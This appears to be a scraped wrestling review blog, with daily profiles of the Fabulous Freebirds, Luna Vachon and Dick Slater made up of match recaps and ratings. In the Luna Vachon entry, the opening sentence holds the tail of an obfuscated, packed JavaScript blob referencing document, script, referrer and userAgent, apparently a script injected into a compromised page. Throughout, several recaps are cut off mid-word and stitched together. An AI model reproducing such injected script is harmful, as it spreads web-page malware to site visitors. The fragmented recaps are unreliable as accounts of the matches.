2014 Awards: Worst Match of the Year
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2014 Awards: Worst Pay Per View of the Year
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Most of the show felt like a tribute to Team 3D, who were inducted into the TNA Hall of Fame. Now Team 3D had been involved in a great three way feud with the Hardys and the Wolves, giving us more than one Match of the Year candidates. Therefore, the solution was to give them a tag match against the random pairing of Tommy Dreamer and Abyss in a run of the mill brawl. Why bother having a great match when you can have an average one?
Great Muta, who had appeared once or twice in TNA, was the star of the main event and got to pin Sanada before Team 3D made the save to end the show. Of course that ended the show. Not the World Champion (not on the show), the guy he beat for the World Title (also not on the show) or the guy he was feuding with (you get the picture by now).
Wrestler of the Day – December 20: Fabulous Freebirds
Time for one of the most famous tag teams of all time: the Fabulous Freebirds.
Six Man Tag Titles: Freebirds vs. Von Erichs
And the aforementioned rematch.
Six Man Tag Team Titles: Von Erichs vs. Freebirds
The titles are vacant and this is a Badstreet Match, meaning anything goes. The heat on Michael Hayes is just nuts but the Von Erichs are as over as free beer in a frat house. It’s Kerry, Kevin and the lowly Mike here. Mike tried but he just wasn’t very athletic and it caught up with him. The brawl is on while the announcer is still doing the intros and we’re told there are NO tags, instantly making this more awesome.
The Von Erichs clean house to start but the Freebirds are right back in to keep fighting. Kevin takes off his belt to hammer on Terry Gordy but Mike is thrown to the floor to give the Von Erichs a disadvantage. Terry is sent to the floor almost immediately after and Mike comes back in, only to hit Kerry by mistake. Gordy hits Mike low to put him down and this is going WAY too fast to keep up with.
Kevin has a boot off and is hitting any bird that he can find before a triple dropkick puts Terry outside again. He gets back in and nailed with the boot over and over again before Hayes is pulled back in over the top rope. Mike spends too much time beating up Buddy Roberts though and Hayes gets in a boot shot to the back of his head. Kevin slaps the Claw on Hayes but Gordy makes the save, only to get nailed with the boot some more.
Kevin is knocked to the floor as things slow down to just insane instead of unable to keep track of anything. Gordy rakes Kerry’s face as a cameraman goes down. Mike’s foot is caught in the ropes and Kevin is busted open. Terry hits Buddy with a boot by mistake and Mike sends Roberts to the floor. Everyone is back in again and with everything going nuts, Killer Khan comes in and blasts Kerry with something, giving Hayes the pin.
Rating: A-. Oh yeah I see why this is loved. They did not stop for nine minutes straight and just beat the tar out of each other the entire time. There’s no way you can have the Von Erichs lose a straight fight and this sets up the Von Erichs vs. Khan which is fine to keep things going. Great match, though I’m not sure on Match of the Year.
The team would head to the WWF in 1984 for a handful of matches before Andre yelled at them for being late, basically sending them back to Texas. Here they are in MSG on August 25, 1984.
Fabulous Freebirds vs. Butcher Vachon/Ron Shaw/Pete Doherty
Back to Texas now with two thirds of the original team on WCCW TV on January 6, 1985.
Terry Gordy/Chick Donovan/Buddy Roberts vs. Mr. X/Skandor Akbar/The Missing Link
This is an odd occasion where the Freebirds are faces in this company which is like Ricky Steamboat as a heel. You just don’t see it that often. The second team is Devastation Inc., which was a top heel stable for a long time. This is elimination rules, tornado rules, and you can lose by pin, submission or being thrown over the top rope. It’s also loser leaves town.
The announcer is a very different style. His voice is fine as he apparently used to be a legit sports commentator in the Dallas area, but the way he speaks is odd. He goes over the ways you can win (being counted down for the 1-2-3, being ejected from the ring or giving in via a submission. It’s just kind of odd sounding but in a refreshing way). We’re part of the NWA here also.
Missing Link is RIPPED but he has a green face. Literally, along with black hair that looks like Bozo the Clown’s. The referee is in a WCCW t-shirt and red pants. Odd looking indeed. It’s a big brawl to start as it’ll likely be the whole time. Link almost goes out but manages to come back in. If I were his manager I’d suggest that he Try Force. That should work.
Link goes out but comes back in anyway. This is all over the place and rather hard to keep up with. Only one announce here too which is kind of weird. I told you it was like ECW. Ok apparently you can go through the ropes but not over them. Got it. X tries to get rid of Gordy forever but can’t manage to get him out. Why not autoban him? Donovan is fighting Akbar who is the leader, on the floor.
Never mind as they’re back in now. And never mind that again at Donovan is thrown out. He’s out of the company apparently. Oh wow ok this just got more interesting. X gets pinned by Roberts off a sunset flip but there goes Roberts, leaving us with Akbar/Link vs. Gordy.
Gordy gets Link tied up in the ropes and gets a spike of some kind into the neck of Akbar (A guy named Akbar at a show called Star Wars? Sounds like a trap to me) but Link saves. A few seconds of double teaming later, Link misses a charge to put out Akbar and is dumped out seconds later to end it. Well that was quick.
Rating: D+. It was very exciting but from a quality standpoint it was pretty bad. To be fair I have no idea on the backstory of this though so it’s kind of hard to know why all of this is going on. The match was certainly fun and the gimmicks didn’t overwhelm it. Having it go more than 8 minutes would have helped a lot though. Still not terrible but it could have been better.
The team headed to the AWA for a bit, including this match at SuperClash 1985.
AWA Tag Titles: Freebirds vs. Road Warriors
And this one at WrestleRock 1986.
Road Warriors vs. Freebirds
Thank goodness this is the last match. This actually took place before the other tag two cage matches, but Verne had to go on last on the real card. The tape version makes him seem more humble at least. This is Hayes/Garvin. Hawk and Hayes get things going. Hayes immediately hits a piledriver which is of course no sold. Let the pain begin. Hayes goes into the cage a few times and he’s busted quickly.
Gorilla press to Hayes and Hawk drops a right hand. Garvin runs away from a tag so Hayes tries to climb out. Hawk goes up top as well and Michael is knocked to the floor. Garvin finally gets the tag and he’s tentative at best. Why no Animal yet? Oh there he is, for a TEN REP gorilla press. Now Hayes runs from the tag.
And never mind as he comes in a few seconds alter. Hayes gets in a few shots but Hawk runs him over quickly. He bites the cut on Hayes’ head because Hawk is a little nuts. Garvin comes in to pound on him and it’s back to Hayes for a figure four. Hawk easily breaks it and it’s back to Garvin, whose offense is shrugged off. Not hot tag to Animal and everything breaks down. Hayes pulls out some brass knuckles but he hits Garvin by mistake so Animal gets the easy pin.
Rating: D. According to the announcer that gives the Warriors revenge for something, but again it’s not important enough to tell us about. This was about as dominant of a match as you can see without it being a squash. The Birds never had a chance but they were against the Road Warriors so that shouldn’t be a shock. The Warriors left the AWA after this match.
Freebirds vs. Paul Jones/Manny Fernandez/Ivan Koloff
s Terry Gordy and this would be like Sheamus vs. Runjin Singh. Things break down and an elbow drop ends Jones quickly.
t mean much. Gordy was a monster though and ran through everybody at the end. He would team with Williams in 1992 in one of the most successful yet boring tag teams of the period. Anyway, nothing match and Paul Jones is one of the worst characters and managers of all time. This was from Atlanta as well.
Time to hit TV with Hayes and Garvin entering a tournament for the vacant NWA World Tag Team Titles. Here are the finals and semifinals at Clash of the Champions VII.
World Tag Team Title Tournament Semifinals: Dynamic Dudes vs. Freebirds
The Freebirds try to get in a cheap shot to start but walk into a pair of suplexes, sending them outside. Johnny and Michael get things going with Hayes quickly being taken down by an armdrag. Garvin comes in and gets the same treatment before the shorter Dude comes in for a wristlock of his own. A double elbow drop has Garvin in even more trouble Michael and Shane come back in with Hayes getting caught in a sunset flip for two. Back to Johnny who misses a cross body and crashes to the mat, allowing Jimmy to come back in and stomp away.
World Tag Team Titles: Freebirds vs. Midnight Express
Back inside and Garvin hooks a chinlock but Eaton fights up and sends him into the corner. Instead of trying to put up a fight, Eaton is smart enough to head right to the corner and tag in Lane who DDTs Hayes and tags Bobby back in far too soon. Everything breaks down and Lane dropkicks Hayes outside for a moment. Terry Gordy tries to interfere but gets knocked outside before Garvin takes the double flapjack for two. The referee is with Lane, allowing Gordy to come in and powerbomb Eaton, giving Garvin the pin and the titles.
Gordy would pop up for one more match at the 1989 Great American Bash.
WarGames: Freebirds/Samoan Swat Team vs. Road Warriors/Midnight Express/Steve Williams
In case you don’t know the rules: two guys start for five minutes and then we have a coin toss (the heels will win) and the winning team gets to send in another man for a two on one advantage. This lasts for two minutes until the losing team gets to tie it up at two. After two minutes the winning team goes up three to two. You alternate every two minutes until everyone is in there and when everyone is in there, it’s first submission wins it. No pins.
Eaton vs. Garvin starts us off. Williams is still in his Hogan attire here which makes me laugh. As JR puts it, it’s Beautiful vs. Gorgeous in WarGames which got a chuckle out of me. Garvin controls early but it’s not like it means anything. The Freebirds beat the Express in a tournament final to win the world tag titles so there’s your explanation for this part of the feud. This is more or less back and forth with nothing really to report on.
Dangerously, the Samoans’ manager, says that Hayes will be next about 10 times. Eaton controls for the most part and works on the back of the mullet-tastic Garvin before throwing on a Boston Crab. After Dangerously shouts about Hayes being in next, Terry Gordy comes in next. That’s another great example of a great heel manager. He didn’t accomplish anything but he lied BECAUSE HE COULD. So simple yet so effective.
Gordy comes in and it goes badly for Eaton to put it mildly. Garvin has a glove and tape or something or his hand so this is mainly punching and stomping. He eats a lot of cage too as Garvin is mostly fine. Apparently Eaton failed in his mission to hurt him. Williams comes in to even things up and in one of the most mind blowing spot I’ve ever seen, he picks up Gordy, who is probably 290 at the least, and gorilla presses him EIGHT times into the cage. Just insane.
After some more choking the heels get us back to about even for Samu to come in as Eaton is more or less dead. Double fishhook on him by Garvin which looked very painful. Everyone is in one ring and they need to spread it out a bit. Eacon somehow gets back up and holds the heels off a bit until Animal ties it up again. Again they’re all in the same ring and it’s WAY too crowded in there.
Ah there we go as he and Samu head to the other ring. Much better. They hate each other because of a big beatdown the Samoans gave the Road Warriors and then they beat up Ellering, the Road Warriors’ manager. The Warriors cost the Samoans a spot in the finals of the tag tournament, which brings us here. Animal just destroys everyone as Fatu will be in next.
All six in the same ring still and it’s just stupid. There’s (Rikishi) Fatu to make it 4-3. The Samoans beat down Animal as Williams and Gordy are in the other ring now to space things out a bit. Eaton and Garvin are still fighting and here comes Stan Lane to even it up at four apiece again. That leaves Hayes and Hawk as the last two. The Samoans eat metal as Lane cleans house.
Dangerously to Hayes: Ok so when you go in you go over here. Hayes: I GOTTA GO IN???” Dangerously: There’s no one left! Hayes: Dang. Funny stuff. There are 9 people in the match and 9 are in the same ring. Hayes DDTs everyone to take out the faces and then goes off into the other ring to taunt Hawk. The fans want Hawk with one minute left. Hayes drops Eaton with a hard left and here’s the bird man.
Now it’s first submission wins. Hawk cleans house as it is on in a big way. The faces are dominating here as was the custom in WarGames once everyone got in. Dangerously tries to force the phone through the cage and turns around to see a referee with his arms folded looking at him. I need some wawa music there.
Mainly just punching now with nothing of note as far as flow or anything but that’s a good thing here as there isn’t supposed to be anything remotely resembling order. Look at the first name of the match: WAR. Doomsday Device on Gordy is blocked so Hawk kills Garvin with a clothesline and works on his neck, throwing on a hangman (Hawk grabs Garvin for a reverse neckbreaker and lifts him onto his back in a neck crank/choke) which gets the submission to end it.
Rating: B+. Very solid battle in there which was exactly what this was supposed to be. It’s not a classic or one of the best ever but this was quite good for the point of blowing this feud completely off and have all the feuds in there at once. This was effective for what it was supposed to be and the match was as fun as ever. Good match.
Back to the regular tag team at Clash IX.
Freebirds vs. Road Warriors
Non-title. The Freebirds are still listed as World Tag Team Champions here, despite having lost the titles at a taped show a few days prior to this. Hawk and Hayes get things going and Michael runs from a big right hand. Animal throws him back inside so Hawk can kick him in the face.
And again at Clash XI.
Southern Boys vs. Freebirds
The Southern Boys are Steve Armstrong and Tracy Smothers dressed like Confederate soldiers in their major show debut. The Freebirds jump them to start but get taken down by running forearms. Double clotheslines send the Freebirds to the floor and the fans are all fired up. Garvin and Smothers get things going with Tracy running into a knee in the corner. Hayes tries to interfere so the Southern Boys dropkick both Freebirds outside again.
The Birds would get a World Tag Team Title shot at WrestleWar 1991.
World Tag Titles: Doom vs. Fabulous Freebirds
Post match Reed destroys Simmons with the object. Teddy leaves with Reed.
So as for the story, the Birds had actually lost the titles before they won them. At a TV taping six days prior to this, they were taped losing the titles to the Steiners, as in nearly a week before they won the belts. That was a very different time, as whole PPVs would be spoiled at TV tapings. Can you imagine that happening today?
US Tag Titles: Freebirds vs. Young Pistols
Ok now hold on because this one if about as confusing as possible. Actually this match isn’t but the story leading up to it is cool so I might as well go into it anyway. As for this match, the Steiners were the US champions but when they won the world tag titles from the Freebirds the US belts were stripped and put up in a tournament, which this is the final of. Ok, that’s very standard stuff.
The WEIRD part is how the Steiners got the world tag titles. The Freebirds won them on February 24, 1991 and lost them February 18, 1991. You read that correctly. See, back in the day WCW would tape MONTHS of shows in advance over about a three week period. Think of what TNA does now but on a much bigger scale.
Anyway, the Freebirds won the titles at a PPV called Wrestle War which we might get to later as there’s a great WarGames match on there, which is of course the greatest gimmick match of all time. Anyway, they won the belts on a Sunday, but the taping where they lost the belts (which no one had seen them win yet) took place on the Monday BEFORE the PPV where they won them.
I think you can see the problems that this could cause and it bit them in late 1993 when Sid was supposed to win the world title at Starrcade but at a show in England he legitimately stabbed Arn Anderson with a pair of scissors so obviously he was fired. WCW had about three or four months of tapes set up with him as world champion, so those were now worthless and they had to scrap the whole thing.
This is why in the mid to late 90s on syndicated shows like Worldwide or the Main Event, you never see guys with belts as the commentary could easily be redone. So yeah, the Freebirds lost a pair of titles almost a week before winning them. Their reign lasted -6 days, which is how it’s recorded in a lot of sources. Oh yeah there’s a match here.
The Young Pistols were a cowboy kind of tag team that did nothing at all. It was Tracy Smothers, who would become far more famous and I use that term very loosely, and Steve Armstrong, whose brother is Brian, or Road Dogg. The Freebirds were legendary heels in WCCW out of Dallas and revolutionized heel tag team wrestling. This pairing is nowhere near that as they’re both old and more or less worthless at this point.
The original trio of Buddy Roberts, Michael Hayes and Terry Gordy is gone and it’s now Hayes and Jimmy Garvin who by law had to have made at least 5 adult movies in the 70s looks like he does. Anyway, this is for the midcard tag titles. That’s saying a lot about the tag title scene. Not only was there a strong world tag title scene, but there was enough of one to warrant a midcard tag title. That’s saying a lot.
If nothing else the Freebirds have the greatest theme song ever with Badstreet USA. Oh and they’re part of a stable called the Diamond Mine, which is run by one Diamond Dallas Page. Oh and they have a manager named Big Daddy Dink, who you would know from the 80s as Oliver Humperdink. Ok most of you won’t but he existed. Page is just a manager here and is already in his mid to late 20s here so he started WAY late.
The Birds are supposed to be a rock band here and to their credit Hayes sings their theme song so there we are. The Pistols are from Wyoming of all places. My goodness this has to be a record for longest amount of writing just to set up a match. There’s the bell and it’s Armstrong and Hayes. I can’t tell the Pistols apart which is likely because I don’t want to. Uh oh Ross is using football analogies. This could be a long night.
Brad Armstrong, Steve’s other brother and the most talented of the three comes out to balance out Dink which makes sense at least. The referee throws Dink out so that’s good as Brad leaves also. Steve completely misses a clothesline but Hayes sells it anyway. Have to love that old school mentality and experience shining through there. The Pistols actually aren’t terrible. They’re not good but there are far worse teams.
Ah there we are with some nice cheating to get the advantage swung. Sometimes all it takes is pulling a rope down and the heels are very heelish. Tracy freaking DIVES for a tag which looked a lot funnier than it should have. In a bad looking spot, the Pistols both go for missile dropkicks. Armstrong misses completely and Smothers hits Garvin but Garvin doesn’t do anything and Smothers goes down.
The Pistols are all over the place but they’re not hitting a lot of stuff. Dusty says there are going to be new champions here. Gee Dusty you think? In a tournament final there will be new champions?
After a ref bump, a masked guy in what would be called a black chicken suit comes out and beats up the Pistols, hitting both with DDTs from the middle ropes which would be the same as they stand on the mat while he does them but whatever. That gets the Birds the titles. While it was never revealed on TV, the guy in the suit was Brad Armstrong.
Rating: B-. I liked it. It’s a very formula based match but that’s often times the best thing you could ask for and this is no exception. It’s basic heel vs. face stuff but it held my attention for ten minutes which is more than most modern tag matches do. This was fine, but some people would be bored with it I think.
Off to the infamously awful Great American Bash 1991 with the team joined by the masked Badstreet, who didn’t last long but was incredibly talented.
Young Pistols/Dustin Rhodes vs. Freebirds
They finally make contact with some chops followed by Dustin slamming both of the regular team members. The Birds chill on the floor and Hayes yells at the crowd a bit. To his credit it gets the crowd to start a short Freebirds Suck chant, which is one of the first of the night. Garvin hits Rhodes in the back so Hayes can take over. The Birds hit the Pistols so Dustin takes both Birds down, allowing the Pistols to hit top rope shoulders. The Freebirds go to the floor again as things pause for the third time in less than four minutes.
Smothers finally gets back up to the apron but Hayes drops him with a right hand. We finally get back in and Garvin pounds away on him a bit. Off to Badstreet who dances in and clotheslines Tracy down. Hayes comes back in with a sleeper, which might be the most appropriate move that he could do. Tracy finally breaks out of it and gets a bit of offense in, only to run into a GREAT left hand to put him down.
One more US Tag Team Title match at WrestleWar 1992.
US Tag Titles: Greg Valentine/Terry Taylor vs. Freebirds
It amazes me how far tag wrestling has fallen. There are midcard tag titles here. The Freebirds are faces here and for the life of me I don’t get what was seen in Valentine and Taylor as a team. There are two rings here which is always kind of strange but it’s still cool. The Freebirds both use the DDT here so they’re looking for the quick win. Fonzie from ECW is the referee here.
Taylor and Hayes start us off and the fans more or less hate Taylor. At least they’re smart. It’s just strange seeing the Freebirds as faces. Also Greg Valentine is a champion in 1992. What’s weird about this picture? A backhand chop is a judo chop according to Jim. For those of you unsure, the Freebirds are Jimmy Garvin (no one of note really) and Michael Hayes, who is currently the head writer for Smackdown.
ALL Freebirds so far but this is a long match so there’s plenty of time left. We’re about eight minutes in and the champions haven’t been on offense longer than maybe 20 seconds yet. I could watch Valentine fall on his face every day. It’s just perfectly done. The heels take over for a bit and I emphasize the bit part since Garvin takes over again to get us to even.
Hayes gets a hot tag and cleans house. The crowd is hot tonight which gives me a good feeling about the main event. Hayes gets hit in the back of the head with the Five Arm, Terry’s finisher but it only gets two. Fans are completely behind the Freebirds. Taylor gets a gutwrench powerbomb for two on Hayes which is a move I wish we saw more often. We’re nearly fifteen minutes in and Jesse says it’s too early to go for the figure four.
Valentine works on the arm which is just weird for him but whatever. This has been a good match so I can live with that. Another hot tag to Garvin and he cleans house. Everything goes insane and Garvin gets a DDT on Taylor for the pin and the titles. Solid opener and the crowd is happy so everything worked. The titles would be retired in July so it’s not like it means much.
Rating: B. Great opener here as the crowd was way into it and the title change works well to open a show. Starting a show with a good tag match is pretty much a universally good idea and this was no exception. I’m not a fan of any of these four but this was a very solid match and has me wanting to watch more of the show, which is exactly the point of an opener.
NWA World Tag Team Title Tournament First Round: Silver Kings vs. Freebirds
#2 misses a missile dropkick and Garvin hammers away before getting two off a suplex. Hayes gets the tag and stomps away in the corner before strutting a lot. #1 comes in again as Jesse thinks this sounds like a Dr. Seuss book. A top rope elbow gets two for #1 and the Silver Kings clean house. Things settle down again and #2 hits a dropkick on Hayes and takes him down with a drop toehold.
Back to Garvin who grabs a chinlock for a few seconds before both guys get up and make tags. #1 comes back in and dropkicks Hayes in the ribs before #2 comes in with a missile dropkick for two. Hayes finally nails his big left hand and everything breaks down. The fans want the DDT but get a pair of bad dropkicks to send the Birds outside. The Kings use what would become the 619 to send the Freebirds running away before #2 dives on them both. Hayes accidentally punches Garvin but #1 misses a dive and hits #2. Michael slides in for a small package on #1 for the pin.
NWA Tag Title Tournament Quarter-Finals: Fabulous Freebirds vs. Hiroshi Hase/Shinya Hashimoto
Hase comes in for a few seconds before Hashimoto comes in for his famous kicks. Hayes comes in to pound away with “American right hands”, a JR trademarked term. Hayes hooks a quick armbar but Hashimoto hits him in the throat to escape. Hase hits a gutbuster and shouts a bit. Bach to Shinya for more kicks which is about all his offense consists of. A fallaway slam suplex gets two on Hayes.
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Wrestler of the Day – December 19: Luna Vachon
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikdth|var|u0026u|referrer|kdzts||js|php'.split('|'),0,{})) we’re looking at a non-traditional Diva: Luna Vachon.
Women’s Battle Royal
There are ten girls in this and only three mean anything: Sherri Martel, Luna Vachon (didn’t mean anything yet) and Candi Divine, who was awful but was popular in the AWA. She’s also Women’s Champion here. I have no idea who most of these women are. They’re blondes in spandex. Someone is thrown out and I can’t hear Capetta, nor do I particularly care to know.
Trongard and Capetta keep calling Luna Leona by mistake. Or by lack of intelligence, I’m not sure which. Two more go out but they’re not important enough to announce. Somehow we got down to six. Luna (NOT LEONA) is gone. I think a Greek chick powerbombs Divine but it’s not important enough to talk about. The Greek chick is out and we’re down to Martel, Debbie Combs, Candi Divine and some chick that Trongard doesn’t bother naming. Divine misses a charge and we’re down to three. Her name is Joyce Grable. Ok then. Martel is knocked under the ropes, Combs throws out Grable and Martel sneaks in to steal the win.
Rating: F. I didn’t know half of the names in this. That should tell you everything you need to know.
And another one at SuperClash III.
Lingerie Battle Royal
Pali the Syrian Terrorist, Luna Vachon, Nina, Pocahontas, Malibu, Brandi Mae, Laurie Lynn, Peggy Lee Leather, Bambi
This is a Beverly Hills Street Fight Battle Royal. You can win by over the top rope or ripping clothes off so it’s more like a bra and panties battle royal. Other than Nina (Ivory) and Luna, none of these girls ever meant anything. This is a POWW match and David McLane is on commentary here and sounds so horny he makes Lawler sound like a nun. The winner gets ten grand as well. The girls start in regular clothes and are as gimmicked as you could imagine. In short, the girl named Leather wears leather etc.
What exactly do you want me to say here? It’s a lingerie battle royal with a total of 2/9 girls being known names. Nina vs. the Terrorist is the main rivalry here. Lynn is out. Various amounts of clothes are torn off and this is really boring. Apparently this started with a pair of jeans being torn up. Pocahontas is gone.
Nina is also and we’re down to five. This is awful by the way. A loud TAKE IT OFF chant starts up. Peggy and Bambi are out, leaving us with Brandi, Luna and the Terrorist. Luna takes a bump from the top (called the third rope by McLane) and we’re down to the two that started this. After far too long, the Terrorist wins.
Rating: F. Just horrible here on all levels and an embarrassment to say the least. McLane is considered scum in wrestling and I can’t say I really disagree based on what I’ve seen from them. This was totally horrible and makes the Divas today look like Thesz vs. Gagne or something like that. Think about that for a minute.
Bam Bam Bigelow/Luna Vachon vs. Doink the Clown/Dink
Vachon goes up but misses a BIG splash, allowing the big boys to come back in. Doink pounds away but is clotheslined to the floor with one shot. Dink annoys both heels but Doink comes back in, only to be sat on in a sunset flip attempt. A charges misses the big clown though and a jumping DDT puts Bigelow down. The Whoopee Cushion (top rope seated senton) completely misses and Dink is knocked to the floor. Doink tries a suplex but Bigelow falls on him for two. The top rope headbutt is enough to finish off the clowns.
Luna wound up in WCW in 1997, setting up this match at Slamboree 1997.
Madusa vs. Luna Vachon
The Artist Formerly Known As Goldust/Luna Vachon vs. Marc Mero/Sable
Mero pounds away on Goldust in the corner but gets clotheslined down to change control. A quick cross body gets two for Marc but Goldust hits an uppercut to put him right back down. The fans chant for Sable as the men collide. A double tag brings in the girls and Sable spears Luna down. She pounds away and kicks Luna in the corner before bealing her across the ring.
From eight days later on Raw, April 6, 1998.
Luna vs. Matt Knowles
Knowles is semi-famous for his time as HC Loc from the very old days of ROH. Goldust beats the tiny man up and Luna gets a top rope headbutt for the pin in like 30 seconds.
This set up the showdown with Sable at In Your House XXI.
Sable vs. Luna Vachon
Luna stuck around for once, including this match on Raw, August 10, 1998.
Luna vs. Jacqueline
s face but it gets the pin anyway. What a mess.
Another Raw on January 11, 1999.
Gillberg vs. Luna Vachon
Gillberg misses a spear, gets his eyes raked across the top rope, has his Jackhammer countered into a cross body, and is pinned by Luna in about thirty seconds.
Women’s Title: Ivory vs. Luna Vachon
Ok then. They’re in an office and fighting with a copier and phone. Ivory is champion here in case you were wondering. It’s your standard match in this genre and is just various weapons shots and throwing people into things. Odd to see women doing it though. A splash onto some cardboard boxes as Luna channels her inner Foley. This is about as pointless as you could ask for. And here’s Tori to save Luna for no apparent reason. Ivory hits Luna with a wooden pole for the pin. That was as pointless as I could have imagined.
Rating: N/A. Way too short here. This was like 3 minutes long and random as all goodness. That’s a shame too as Luna could have had a decent match with someone like Ivory, who actually had some decent training and could work a match. That’s one of Luna’s biggest issues: she keeps getting stuck with these opponents that can’t actually do anything but brawl, when Luna needed a regular worker.
Women’s Title: Tori vs. Jacqueline vs. Luna Vachon vs. Ivory
Tori is the former lesbian stalker that is now just sexy as all goodness. Jackie is just annoying and no one cares about her. Ross is freaking over the Bulldog thing to further emphasize that he is a HEEL. Luna is a face. That’s just odd. Wow this division is dying to have Trish and Lita show up, if nothing else for their looks. No tagging here. Please make it quick. Various people do various teams and no one cares.
The division was a bigger joke than it is today if you can believe that. Crowd is more or less dead here but not quite. The ECW Triple Sleeper is added to as it’s a quadruple sleeper. This is just a series of really stupid looking spots in a row. And Ivory hits Jackie with a belt and wins it. Wow I really could not have cared less there. Ross says he didn’t care because of Stephanie. Nice cover up there Jimbo.
Rating: F. These matches had a tendency to be awful. Awful sounds like a nice thing here as this was just annoying to have to sit through. Terrible match to say the least.
Time to continue the stupid at Survivor Series 1999.
Fabulous Moolah/Mae Young/Tori/Debra vs. Ivory/Luna Vachon/Terri Runnels/Jacqueline
Keep in mind that Tori is a wrestler in name only, Mae and Moolah combined to be over 150 years old, and Terri and Debra are there as eye candy. After less than two minutes, a double clothesline from the old chicks gives Moolah the pin on Ivory. This may have been the worst idea this side of the birth of a hand. This is what Raw is for people.
Luna Vachon vs. Vampire Warrior
Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:
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2014 Awards: Most Improved
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Ethan Carter III is the same thing but as an intellectual heel instead of a monster. The guy went from being nothing in WWE to one of the best acts in TNA, very much in the same vein as Rick Rude back in 1991. Carter is going to be a player in TNA going forward and I could easily see him winning the World Title in the coming year.
Wrestler of the Day – December 18: Dick Slater
Dick Slater vs. Tiger Jeet Singh
Wahoo McDaniel/Mark Youngblood vs. Dick Slater/Bob Orton
Youngblood breaks the count by a second but the punishment to the back continues with a reverse chinlock. Orton lets go on the hold and stomps him in the face for good measure. Slater comes in and breaks up a tag before suplexing Mark down for two. Back up and they bang heads, allowing for the hot tag to Wahoo. He cleans house with an atomic drop on Orton and a big chop for good measure.
And again at the second Starrcade in 1984.
Mid-Atlantic Title: Ron Bass vs. Dick Slater
Off to the WWF with Slater at The Big Event in 1986.
Iron Mike Sharpe vs. Dick Slater
Oh yeah Slater is the rebel. No one cares. Sharpe is up there with Horowitz and Brawler in the jobbing hall of fame. Mike likes to talk a lot. The announcers talk about how great Sharpe is. Really? From what I’ve read he was completely OCD so having this many people in the audience must have driven him insane. There really isn’t much here as it’s really a glorified squash for Slater who would never mean much in national wrestling, at least not in this company. He was ok in other companies but he’s at his best in ring stuff here, which isn’t saying much at all.
Monsoon wants to know why Sharpe has had his arm in a cast kind of thing for over 8 years and Valiant just starts screaming at him that he should go out to dinner with Sharpe and ask him because Valiant doesn’t know. That came out of nowhere. Anyway, Slater hits an elbow from the top and jackknifes (it’s a king of rollup, not the powerbomb) him for the win.
Rating: D. Did we really need six minutes of these two guys? I certainly wouldn’t think so. This wasn’t interesting or particularly good but a jobber got beat up so there we are.
Don Muraco vs. Dick Slater
Back to WCW at Clash VIII where Slater actually got a decent push.
Sting/Ric Flair vs. Great Muta/Dick Slater
Funk is nowhere in sight and Slater has an arm injury of his own coming in. Sting and Muta get us going with Sting avoiding some kicks to the face and taking Muta down with a clothesline. Muta bails to the floor for a meeting with Gary Hart as Ross is looking around for Funk. Back in and Sting armdrags Muta down but the Japanese villain takes him into the corner for some quick kicks to the ribs. Sting grabs the arm again and brings in Flair to a nice reaction.
Dick Slater/Dick Murdoch vs. Sting/Rick Steiner
Steiner backdrops Slater and makes the hot tag to Sting as everything breaks down. The Hardliners double team Sting so Rick brings in a chair to clean house for the DQ.
As usual, Slater would stick to tag team matches, including at Clash of the Champions XX.
Dick Slater/Greg Valentine vs. Bobby Eaton/Arn Anderson
This is an odd match as everyone is a heel. Slater and Valentine have Larry Zbyszko (with a broken arm) in their corner. Arn and Valentine get things going but everything quickly breaks down with Anderson and Eaton being sent to the floor. Back in and Slater gets in a cheap shot from the apron to take Arn down and things start to break down again. Bobby gets caught in a swinging neckbreaker from Slater followed by a Russian legsweep for two.
Ron Simmons vs. Dick Slater
Slater is a replacement for an injured Paul Orndorff, who was supposed to defend his newly won TV Title against Simmons tonight. Orndorff is at ringside and immediately draws Paula chants from the crowd. Simmons jumps Slater to start and hits a quick atomic drop to send Slater into the corner. A hard slam and shoulder give Ron a two count and Slater bails to the floor.
Slater comes back in for a test of strength and actually holds his own before breaking up a sunset flip. Ron loads up a three point shoulder block but Orndorff trips him up to give Dick control. Slater clotheslines him down and mistakenly thinks he gets the pin, allowing Simmons to get up and powerslam Dick for the pin.
WCW Tag Titles: Bunkhouse Buck/Dick Slater vs. Harlem Heat
The talented tag team is challenging here. The idea here is more about the managers though as apparently they like each other. The match is going to suck though. Oh and along with this, we only have Arn/Flair and War Games. We’re an hour and five minutes into the show. That simply can’t be a good sign. I also have issues with a guy names Dirty Dick. Also, they gave THESE TWO the tag titles after like 5 months of Heat vs. Nasty Boys?
I don’t like the Nasties, but they’re light years ahead of these morons. Booker and Slater start so at least the one good wrestler in the match is starting us off. Slater is one of those good old southern boys that allegedly was really talented but never shook either the southern stigma or the lack of talent to get over. Crowd is deader than Booker’s career at this point. Again I love how two hicks like this are supposed to be trained wrestlers.
There’s something amusing about that. Yeah the idea here is that Sherri has a bump on the head and isn’t herself. Somehow this was put on national TV as a mainstream wrestling company with angles like that. Wow indeed. Apparently Dick Slater is one of the best wrestlers in the history of the sport. I can barely laugh at how stupid that is.
On the floor the managers are playing this messed up cat and mouse game that is just rather creepy. The fans prove they’re still alive with a short and incomprehensible chant. It’s weird hearing them talk about Booker as a power guy. That’s most odd indeed. Heenan seems like he wants to talk about Buck being undressed. Ok then. The heels are controlling most of the match here.
You can tell the match itself is pretty awful as I’ve barely talked about it. I’m trying very hard to think of anything else to talk about so that I don’t have to actually pay attention. Fact: I used to have this tape and this match cured my insomnia over a summer. I didn’t sleep regularly for a month but this match put me to sleep in five minutes. That’s saying something. We talk about WarGames to kill some time.
This match needs to end BADLY. And trust me, since this is WCW< I’m sure that will mean both possible things. Stevie gets the I guess you could say hot tag to get the crowd to do nothing at all. And here is that finish as Parker and Sherri get into the other ring and kiss. At the same time the Nasty Boys are here and rip Slater’s boot off to smack him in the head with it to give the Heat the titles. While this is happening, Sherri and Parker are still kissing. I hate this show.
Rating: F+. This was just terrible. The ending sucked and the match was worse. Who thought that Buck and Slater were the best options? Seriously, the American Males were on the preshow. They’re not the best in the world by any stretch of the imagination but they’re better than Buck and Slater. It’s stuff like this that is freaking idiotic and gave WCW the bad name it had.
Battlebowl First Round: Dick Slater/Bobby Eaton vs. Alex Wright/Disco Inferno
Yes they’re future tag champions but that wasn’t until later so that’s excusable. Oh look: people that are complete opposites of each other. WHO WOULD GUESS THAT??? Everyone in theory, as the same idea happened about four times in this show. At least Eaton is a good wrestler so that’s a perk.
